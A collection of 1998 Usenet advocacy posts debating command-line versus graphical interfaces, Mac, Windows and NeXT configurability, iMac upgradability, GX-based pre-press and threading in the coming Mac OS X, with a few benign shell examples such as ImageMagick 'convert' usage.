you use. I'll try not to draw any conclusions regarding your
productivity.
> b. I use the CLI all day, write a lot of SQL/awk/ksh scripts;
> anything I know beforehand is going to be done more than once
> I script. I am a proponent of using this stuff as
> opposed to the alternatives currently available. Nevertheless, I am
> convinced that these methods are for the few. Far too many people find
> it far too difficult.
It's aesthetics, plain and simple. I know housewives who, before
marriage, wrote JCL on mainframes. Nowadays they complain about how
complex GUIs are. When you're acclimated to a certain environment, you
grow to believe that nothing else is adequate. It hits everyone: it hits
Windows users, it hits Unix geeks, it especially hits MacOS users. In
one way or another, everybody grows to think that their particular
environment is exclusively correct.
The only way to combat this is aggressive pursuit of change. Most people
don't like change, so there you have it.
When I worked in manufacturing I worked alongside blue-collar men who
could build complex dies and write CNC code and memorize the exact
layout of all 36 tools in the machine at any one time. None of these
people could use Windows; all of them claimed home computers were too
complex. I was the "smart kid", though if I'd gone anywhere near their
equipment I would probably have killed myself.
I don't buy the "it's too difficult" excuse for a single minute.
> c. I used to hold the belief that people didn't learn mathematics or
> the "hard" sciences because of bad attitude. I now realize that
> these can be genuinely hard for people; and there are other things that
> people may want to spend time on.
Of course this is true. It still has nothing to do with something being
"too" difficult. Mathematics is intensely boring for me, and I really
hate it. I have a terrible time retaining mathematics skills, and have
to keep linear algebra and calculus textbooks near my desk so that I can
write a single line of 3D graphics code. I'm always getting terms and
symbols mixed up. I have a hard time with long division. But I do it
anyway because I care about being effective at what I do.
> And there is more intrinsic value,
> in my opinion, in understanding ideas in mathematics or physics, than
> knowing by-heart a ton of CLI commands.
So what? Memorizing commands wasn't the point.
> Someone who doesn't use or want
> the CLI simply has another set of interesting things to do; it is not
> a matter of laziness.
That might be true, it might not. I don't buy the blanket
generalization. If this were really true, you'd see far fewer people
making excuses for how "ugly" and "outdated" CLIs are, among a million
others.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 09 Sep 1998 17:19:20 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F6FEE8.9D090CC3@ericsson.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <35F66E55.58EB106@nstar.net> <heaney-0909981615420001@24.0.246.137>
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John Heaney wrote:
> Developers are users, too. All users tend to use the best tools that are
> available to them, limited by their fear of trying something new. There's
> a reason why most developers use WYSIWYG editors to layout their GUIs.
> It's more efficient. I think there's also a reason why more developers are
> using IDEs. It's because they are creating applications that have GUIs and
> have come to appreciate the power of the GUI.
Yes, they create a GUI in a GUI. It sounds sort of obvious. What about
the rest of their code?
I use a GUI debugger, called 'ddd'. It runs a command-line gdb within
one of the windows. That's my most important window. The second most
important window is the source window. The graphical data display is
only third place (of three windows, total).
> Sure, the CLI is great when you type everything in
> with utmost precision. But it's that precision that is the bane of the
> CLI. Computers are all too willing to do whatever you tell them, even if
> you tell them the wrong thing.
I thought John Jensen already addressed the fact that GUIs have
identical characteristics of accuracy. You've never chosen the wrong
menu item? You've never accidentally closed a window? You've never
accidentally dragged something into the wrong drop? Of course you have.
And you have to do it all over again, or worse, undo the damage caused
by your mistake.
> These kinds of problems are mitigated in, say, the Finder. If I want to
> find all of a particular kind of file in a folder, I just click on the
> Kind heading and lasso them. There's nothing invisible and no ambiguity. I
> know I've got them.
Baloney. I particularly remember one time when I was young and my father
brought home a Kensington Trackball mouse. My little brother was not
used to it and accidentally dragged a bunch of files instead of
selecting them. It turned out that those files were like 3 months of
coding work I had been doing, and the place he dragged them was the
trash bin. Being young, he forgot about it and eventually they were
deleted by accident.
I make mistakes in the GUI all the time. I hate most GUIs because it's
*too* easy to make mistakes without undoing them. In a CLI I have time
to review my typing before I hit return. In a GUI, if I were to
carefully measure every action, I would never get anything done.
> Slow in what sense, the processing or the setting it up? I think I was
> able to do it rather quickly, once I knew what I was doing.
You said several minutes, later 40 seconds. I assume the app was already
open for the second trial run, which saves you time (GUI apps load
*very* slowly).
[cut]
> > 2) Debabelizer is a commercial product
>
> So what? What does that have to do with the CLI vs. GUI debate? I'm sure I
> could find a freeware or shareware solution to do what was necessary.
The point is that convert is on every Linux box I've ever seen. It's on
every Unix box at work, being a tiny NFS-mounted binary image. Doing the
same thing for Debabelizer would be gruesome.
> There's probably a tool out there somewhere that would allow me to just
> drag the files on the application and do the conversion in one step
> without having to open the application directly.
That would be a nice idea; drag-and-drop the way you've described it
would be a big step forward in GUIs. Unfortunately, it's very rare, and
doing anything more complicated than what you described in one step
would be sadly out of the question.
> I understand that CLIs lend themselves to batch processing, but those
> tasks that require batch processing on the Mac, for example, tend to have
> batch processing built into the applications that perform them. And I
> would prefer that any day of the week. I would also assert that anybody
> capable of doing what Jason did should not be wasting their time in a job
> doing image conversions. They should be writing scripts to make the job of
> the image convertors easier. He should write a script called gif2jpeg that
> converts all the gifs in a directory to jpegs because no non-programmer is
> going to rattle off that little script in 15 seconds.
Those programs exist, and few people use them. It's much easier to use
an all-in-one program like 'convert' and simply tell it what conversion
to make. The bulk of Jason's script involves converting filenames for
the convertees, no actually doing the conversion.
> Once you get to that
> level, though, the GUI is superior again because you could write an
> AppleScript to do the same thing using drag and drop.
Yech. In both cases, you're speaking a language. In a CLI, the "words"
are text, typed very quickly. In a GUI, the "words" are little icons,
dragged very slowly and very painfully.
The game MechCommander has a setup screen where you can customize your
Mechs. I am getting *so* tired of customizing 12 Mad Cats the same way
over and over by dragging, dragging, dragging, dragging, dragging.
ARRRGGG!
I would much rather do this:
# foreach mech (*)
# foreach? empty $mech
# foreach? equip -w plaser -n 5 $mech
# foreach? equip -w flamer -n 2 $mech
# foreach? equip -w cerlaser -n 4 $mech
# foreach? equip -w cesensor $mech
# foreach? end
and be done with it. Later on, when happy with the configuration, I
could just go
# foreach mech (*)
# foreach? empty $mech; equip -f MyFavoriteConfiguration.cfg $mech
# foreach? end
Boom. That would make for fast game setup. You don't have to be a
developer to appreciate the commandline. Why do you think Quake has
commandline commands?
> Skip this paragraph if you don't like anecdotes.
Oh, great, I have to read this now because I just posted an anecdote of
my own :)
> StuffitExpander was released and it did everything I
> needed; drag and drop batch processing, as many decoding passes as
> necessary to get the job done automatically. Well, I figured, a piping
> mechanism would still be cool, but I found I wasn't really needing it for
> anything. The only repititive things I needed had more to do with tasks
> that could easily be handled by Quickeys. Image conversion could better be
> handled by Debabelizer. I couldn't find anything to use it for. Then a
> company came out with a product called FilterTop, which was just what I
> was thinking of. I downloaded it, but I never used it because I never
> needed it. As far as I know, not many other people have needed it either.
Sure, you find tools that do a specific job very well. What happens when
the tools doesn't fit exactly? If all you have is a hammer...
> You don't have to remember the spelling of the field name and
> you don't have to type more than what you yourself are looking for.
Unless I understand SQL I can't query databases from my scripts. I used
to write scripts all day long just to get a few hours' work done. Every
script used a different SQL statement and fed the info to another
script. How could this be done with a GUI?
If one wanted, one could base all kinds of things on lightweight
databases, querying constantly from the command-line and feeding them to
scripts. Many Web sites do exactly this for nearly everything.
> And if you did have to use these switches, are you expected to memorize
> them?
I usually remember the word I'm looking for. I go:
# man convert
(from within man convert):
/colorspace[RETURN]
(inside my mind, reading the highlighted text):
"Ah, yes, that's the format!"
# convert -colorspace RGB file.jpg file.gif
I actually just did this, because I couldn't remember how to use the
colorspace command. Ten seconds. Most Unix geeks would laugh at me.
> What would happen if did what I did in the unix environment? Would I
> be expected to already know the correct switches? If I got it wrong, would
> it tell me? Would I have to go to the man pages? Would I know if
> accidently created incorrect image files?
# cp *.jpg ../test
# cd ../test
# convert -colorspace RGB file.jpg file.gif
(oops! They don't look right)
# rm *
# cp ../images/*.jpg .
# convert -colorspace CMYK file.jpg file.gif
> I disagree entirely. When was the last time you saw a non-programmer use
> vi? Are you kidding? Even most programmers don't use vi anymore. Normal
> people do not want to interact with their computer; they want to interact
> with their information and do their job. That's the way it should be.
Of course they do, which is why most programmers use a comprehensive
editor for code and use vi for everything else. I know I want an editor
that does syntax highlighting, automatic indenting, and other personal
amenities, so I use emacs for code editing. For editing everything else
I use vi because it's *fast*. I don't have any time to waste (except
when posting to USENET, I guess :-).
Actually, I'm sorry for not reading the rest, but I really am running
out of time...
[cut]
MJP
From: no-spam@one.net (MojiDoji)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <no-spam-0809981402590001@10.0.1.99>
References: <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com> <6srcdn$2dl$1@nnrp1.dejanews.com> <35f54abf.2225065@news.alt.net> <no-spam-0509981559360001@10.0.1.99> <35f2cad3.35018678@news.alt.net>
Date: 8 Sep 1998 13:55:21 -0500
Organization: OneNet Communications News Hub
In article <35f2cad3.35018678@news.alt.net>, antwun@yahoo.com (vapor) wrote:
> no-spam@one.net (MojiDoji) wrote:
>
> >In article <35f54abf.2225065@news.alt.net>, antwun@yahoo.com (vapor) wrote:
> >
> >> hughesojh@my-dejanews.com wrote:
> >>
> >> >Windoze user filth mentality:
> >> >
> >> >"If the computer does something dumb, why it must be MY fault".
> >>
> >> Yes, 9 times out of 10 that's the case.
> >>
> >> >
> >> >A decent OS should work how you want it to.
> >>
> >> What OS offers the user more customization options?
> >> Linux would have to be number one because the source code is
> >> distributed with the OS. Win9x/NT would be second. Both allow the user
> >> to freely configure almost every aspect of the OS. MacOS doesn't even
> >> make the list as far as I'm concerned. You either do it Apples way or
> >> you can FOAD.
> >>
> >> >If it doesn't, then you should be able to change it.
> >>
> >> Tell that to Apple.
> >>
> >
> >I agree, Win95/NT is far more configurable than MacOS. But I think OS/2
> >should be placed between Linux and Windows.
>
> Good point, I always forget about OS/2. Dam fine OS, too bad it never
> really caught on. It would be nice if Gates would climb down off his
> mountain of gold and provide a scripting language standard with NT. If
> your gonna bloat up a Op system you may as well toss in some useful
> things. I have a buddy of mine who swears by OS/2. His tricked out
> OS/2 box rivals my linux setup in functionality, but suffers in speed.
>
>
> --
> vapor
Since IBM supposedly has a PPC OS/2 distribution, I would love to see it
come to market. I would probably become an OS/2 user.
--
To reply, replace "no-spam" with "mottbi"
From: no-spam@one.net (MojiDoji)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <no-spam-0809981407200001@10.0.1.99>
References: <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com> <6srcdn$2dl$1@nnrp1.dejanews.com> <35f54abf.2225065@news.alt.net> <no-spam-0509981559360001@10.0.1.99> <35f2cad3.35018678@news.alt.net> <TBkI1.2504$KK4.8145876@news.san.rr.com>
Date: 8 Sep 1998 13:59:43 -0500
Organization: OneNet Communications News Hub
In article <TBkI1.2504$KK4.8145876@news.san.rr.com>, "David K. Every"
<dke@MacKiDo.com> wrote:
> In article <35f2cad3.35018678@news.alt.net> , antwun@yahoo.com (vapor) wrote:
>
> >>I agree, Win95/NT is far more configurable than MacOS.
>
> I find that Windows has lots of stupid configurability, and then misses things
> where you need it.
It does, but configurability is a good thing in the hands of the right
user. In the hands of the average user, it generally causes problems.
>
> So it allows you to set the colors of windows, the size of the fonts for some
> things... then they don't change everything. You can turn off animated menu's
> (if you did hard enough) in Win98... but not for everything, and you still get
> stupid animated tool-tips poping up... you can fix your .reg files, which some
> think is configurability, but then the OS and apps are always screwing
them up.
>
> So it really matters what you mean by configurability. I love that on
the Mac, I
> don't have to configure everything to fix the damage the OS and Apps
do... and
> yet, just about every parameter I need to change I can.... yet plenty of times
> I've wanted to change things in Windows, I've been unable. Like how do I get
> more IRQ's?
Exactly. I would love to have the configurability on the Mac platform,
but that would kill its simplicity. Rhapsody, to me, seemed like the
ultimate OS for Mac users who need versitility. Rhapsody is supposed to
ship soon, but will be folded into OSX, and, hopefully, will not lose that
capability.
>
>
> ---
> David K. Every
> www.MacKiDo.com
--
To reply, replace "no-spam" with "mottbi"
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Tue, 08 Sep 1998 23:59:29 +0000
Organization: BM
Message-ID: <6t4u3l$ldd$1@birch.prod.itd.earthlink.net>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net>
<WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com>
<6t004d$nsn$1@oak.prod.itd.earthlink.net>
<6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com>
<rmcassid-0809981048120001@hephaestus.eng.uci.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
rmcassid@uci.edu (Robert Cassidy) wrote:
>Agreed. Apple will return to the market, but only when they are sure they
>can make money in it. Either that will be when they can just roll the
>MacOS and PPC into the handheld market (low buy-in approach) or when they
>get the right combination of things that they are sure the product will be
>revolutionary and well received. I think the former is more likely.
While discussing various design issues related to the new PBG3s with Apple
Industrial Design Studio head, I got the distinct impression that handwriting
recognition was an important focus for an upcoming Apple product. Whether that's
a PB with a HR-capable tablet or the portable consumer thingy, I don't know.
Ziya Oz
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 9 Sep 98 15:54:40 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21C5543-13B08B@206.165.43.114>
References: <Ez1CD1.2ro@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
Lawson English <english@primenet.com> said:
[snipt]
>> There are other modes that don't do this in the same way that alpha-
>channel
>> compositing does, such as XOR, and other logical and arithmetic-based
>> combinations of the two pixel values.
>
> NSCompositing is undefined for the eQD model. It is too early to be
>discussing this point.
WHAT point?
You asked me to define "transparency" as applied to computer graphics and
printing as opposed to "non-opaque" in the same context. I tried to make
the distinction clear.
How's that a "point" that is too early to be discussed?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: goofin@work.com (BrTe)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 09 Sep 1998 16:57:49 -0600
Organization: werk
Message-ID: <goofin-0909981657490001@norln310mac15.colorado.edu>
References: <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <not-ya02408000R0709980301440001@news.colorado.edu> <6t0qnh$q0s$1@news4.wt.net> <not-ya02408000R0709981419430001@news.colorado.edu> <367454593A96A769.ED55763BD8C6F092.8B14831A23EF5E19@library-proxy.airnews.net> <not-ya02408000R0809982207430001@news.colorado.edu> <not-ya02408000R0809982240420001@news.colorado.edu> <994169DB0BEFDC2B.2FDF2A32C8D757DE.E5D07D7E652D2EF4@library-proxy.airnews.net>
In article
<994169DB0BEFDC2B.2FDF2A32C8D757DE.E5D07D7E652D2EF4@library-proxy.airnews.net>,
nhughes@sunflower.com (nate) wrote:
> I thought you said early 80's.
Because you are an idiot who knows nothing about cars?
> In that case, the IROC owner might take a trip down to his local
> performance shop and purchase performance injectors and throttle body,
> replace the stock manifolds with headers, have the heads milled and
> replace the valves with oversized versions and maybe even replace the
> rom in his black box. Take that IROC back to Car and Driver and see
> what happens to the turbo supra. In all, the hopped-up IROC still
> costs less and now completely blows the doors off the non-upgradeble
> supra.
Hmm... Apparantly the Supra has suddenly become non-upgradable... Wonder
how this happened... Maybe you waved your magic fairy wand?
Supra is, was, and will always be one of the most upgradable Japanese
sports cars on the planet... There are hoards of owner groups who get
together to do this regularly. Ever look at a Bosch catalogue? There is
more stuff to upgrade a Supra than quite possibly an IROC... Most likely
there is more than available for a Mustang.
> That's pretty much analogous to the PC world, where I can add another
> CPU and fire-breathing OpenGL card to my PC if I want and blow away
> any mac.
Umm, no. You can add multiprocessor daughter cards, video cards, extremely
powerful soundcards, etc. to almost any macs as well that will come back
and blow away your pc in turn. And you can do it with less trouble... Swap
in a card or two, and the mac doesn't even utter a peep. You get the pc
equivalent of the IROC engine bursting into flames occasionally on a pc...
So the mac is more upgradable.
Now the iMac on the other hand is less upgradable. But then it is a
completely different design philosophy. It has it's place, but it's
definately not for everybody.
> >
> >February and April 1989 respectively for R&T and C&D once again.
> >
> >For those people who always demand references and yet can't seem to be able
> >to provide their own.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 9 Sep 98 16:03:46 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21C5765-1430C5@206.165.43.114>
References: <Ez1CD1.2ro@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Lawson English <english@primenet.com> said:
>In <B21C2ED8-AA975@206.165.43.114> "Lawson English" wrote:
>> Because you said that your HyperCard based PS solution handled
>everything
>> just adequately without a need to go to a shape-based pre-press option?
>
> No I didn't. I said it was doing pre-press processing on PS files, I
made
>no claim whatsoever that it could do "everything". Clearly I don't even
>support this in concept, I want an interapplication graphics format too, I
>just want it to be XML based.
You asserted that I hadn't proved that there was any advantage to
shape-based pre-press over direct manipulation of PostScript and gave your
HyperCard-based PS stack as an example of something that could do
everything that I had talked about.
+++++++
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B21B286F-12F60@206.165.43.24> "Lawson English" wrote:
>> Being able to manipulate shapes as shapes, rather than as text-strings
>>in a PS file is useful, no?
>
> Maybe, if you can demonstrate that there's any difference. But as I
> have noted on countless occasions I worked on a project that manipulated
> shape in PS files using HC in 1990. You again have no point.
+++++
>
>> What if the pre-press person wanted to manipulate the transparency-
>level of
>> the company's name as an overlay, rather than as a watermark?
>
> Dunno, haven't tried it.
OK, but how would this work with your HyperCard stack that provided access
to raw PS? MY HyperCard stack uses the shape-based facilities of GX to
accomplish this. You want to use XML. Fine.
[snipt]
>
>> Go back and read the Seybold review of GX's potential.
>
> Why? What could that possibly have to say about whether or not another
>system can or cannot do similar things?
The comparison back then would have been to PostScript vs GX. XML didn't
exist, as far as I know. Shape-based pre-press based on NeXTStep graphics
wasn't a blip on the horizon, either.
You keep on accusing me of having no point. Are you interested in
discussing the virtues, pros and cons of various ways of accomplishing
pre-press tasks, and perhaps brainstorming how they might be improved using
a shape-based solution, or are you merely interested in sniping at me,
claiming that I have no point, regardless of what I say or do?
It truely appears to be an either/or proposition with you and I honestly
can't understand why you react this way, even to the point of
mis-remembering your own statements while responding to my comments with
Yet Another Snipe At Lawson (tm).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: not@work.bum (BrTe)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 08 Sep 1998 22:40:42 -0700
Organization: home
Message-ID: <not-ya02408000R0809982240420001@news.colorado.edu>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <not-ya02408000R0709980301440001@news.colorado.edu> <6t0qnh$q0s$1@news4.wt.net> <not-ya02408000R0709981419430001@news.colorado.edu> <367454593A96A769.ED55763BD8C6F092.8B14831A23EF5E19@library-proxy.airnews.net> <not-ya02408000R0809982207430001@news.colorado.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <not-ya02408000R0809982207430001@news.colorado.edu>,
not@work.bum (BrTe) wrote:
> A 230 hp Supra turbo came in 0.1 seconds faster than either Ford Mustang
> GT (okay that's no surprise), or a Camaro IROC Z (Road and Track, February)
Whups! Forgot to include the year of the articles for those who can't
figure it out: 1987 for this one.
> on the quarter mile. Plus, the Supra outcornered, and outhandled these
> competitors (mentioned in passing in Car and Driver and other articles...
> forgot months).
April 1987 for the Car and Driver iirc.
> The only car amongst the American contenders that gave the Supra any
> headaches was the Chevy Corvette, but by 1989, there were many fields where
> the Supra creamed it's ass. Increase in horsepower in between 1987 and
> 1989?
February and April 1989 respectively for R&T and C&D once again.
For those people who always demand references and yet can't seem to be able
to provide their own.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 9 Sep 98 16:11:43 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21C5941-14A0A5@206.165.43.114>
References: <Ez1Cv9.39F@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B21C3414-BE44E@206.165.43.114> "Lawson English" wrote:
>> It would really depend on which makes more sense, sub-class NURBS to
>deal
>> with beziers or sub-class beziers to deal with NURBS.
>
> Or both being a direct subclass of NSPath. Mathematical relationships
do
>not map 1:1 onto class structure, in fact the rarely do.
Fair enough.
>
>> is an ostrich a subclass of bird? Why or why not?
>
> Now you have it upside down.
No, those are *bats*.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: quinlan@intergate.bc.ca
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Wed, 09 Sep 1998 04:25:16 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6t4vvc$pc2$1@nnrp1.dejanews.com>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net> <6t46ui$t3v$1@fir.prod.itd.earthlink.net>
In article <6t46ui$t3v$1@fir.prod.itd.earthlink.net>,
"Gerard Motola" <gtm@nospam.riftwar.com> wrote:
> Is there a Windows 95 equivalent of ResEdit?
I don't know if there is a stand-alone equivalent like Resourcerer or ResEdit
but Visual C++ and Borland C++ both have integrated resource editors.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Wed, 09 Sep 1998 23:07:15 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6t71n4$nba$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <6spibk$o2m$1@nnrp1.dejanews.com> <6t3s3c$3os$1@news.mxol.com> <6t4hjh$41c$1@nnrp1.dejanews.com> <Eyzrpq.rz@T-FCN.Net> <6t5di5$ddi$1@nnrp1.dejanews.com> <Ez0vCo.Ev8@T-FCN.Net> <6t6j5g$vc1$1@nnrp1.dejanews.com> <Ez194q.pI@T-FCN.Net>
In article <Ez194q.pI@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> Because it's not the same OS. That's like asking why Apple can't make it
> work under Windows. Apple has picked their kernel, and that defines a number
> of other design issues.
If Apple picked a kernel that excludes behaviour which people want then Apple
should reconsider it's decision to use that kernel. But I don't see any
threading limitations imposed by the Mach kernal. Do you have some particular
problem in mind?
> Urrrr, I think most people in the know are laughing at that statement.
Please enlighten me.
> Threading your window wouldn't solve this problem either.
Why not?
> Yes. I think for the most part this is what we want. I _expect_ my app to
> stop working when I save a 3gb document, and I think that's true for everyone
> else as well.
BeOS applications do not have this behavior. While saving a huge document, you
can still manipulate any other document in that application.
> Maybe that's not a very good assumption, but this does mean
> that Apple has other issues to deal with. If they can make the front window
> stop "freezing" when I hold down the mouse on the scorll bar, that will go a
> very long way to making me happy.
Then you desire that Apple add less capability than the BeOS already has.
> No they don't, this is exactly what they need to do - and this presupposes
> that thread-per-window is a wanted goal, something I'm not convinced of at
> all.
Fair enough.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Wed, 09 Sep 1998 23:11:11 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6t71ug$ngj$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <6spibk$o2m$1@nnrp1.dejanews.com> <6t3s3c$3os$1@news.mxol.com> <6t4hob$44s$1@nnrp1.dejanews.com> <EyzrrH.uF@T-FCN.Net> <6t5dmd$de0$1@nnrp1.dejanews.com> <Ez0w7u.FIE@T-FCN.Net> <6t6id3$ufe$1@nnrp1.dejanews.com> <Ez18uA.GK@T-FCN.Net>
In article <Ez18uA.GK@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> > typical multiple document application, each window is separate from the
> > others. What resources would need protected by mutex?
>
> The screen for one. The mouse for another. The menu bar for a third.
The application does not directly touch the screen nor the mouse. Some parts
of the menu bar are controlled by the front most window (save, print, etc.)
while other parts are controlled by the application (quit, about, etc.). What
protection does the menu bar require if the application does not try to set
the same items in different threads?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 9 Sep 98 16:34:01 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21C5E7D-15DB77@206.165.43.114>
References: <Ez1E2r.3yC@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
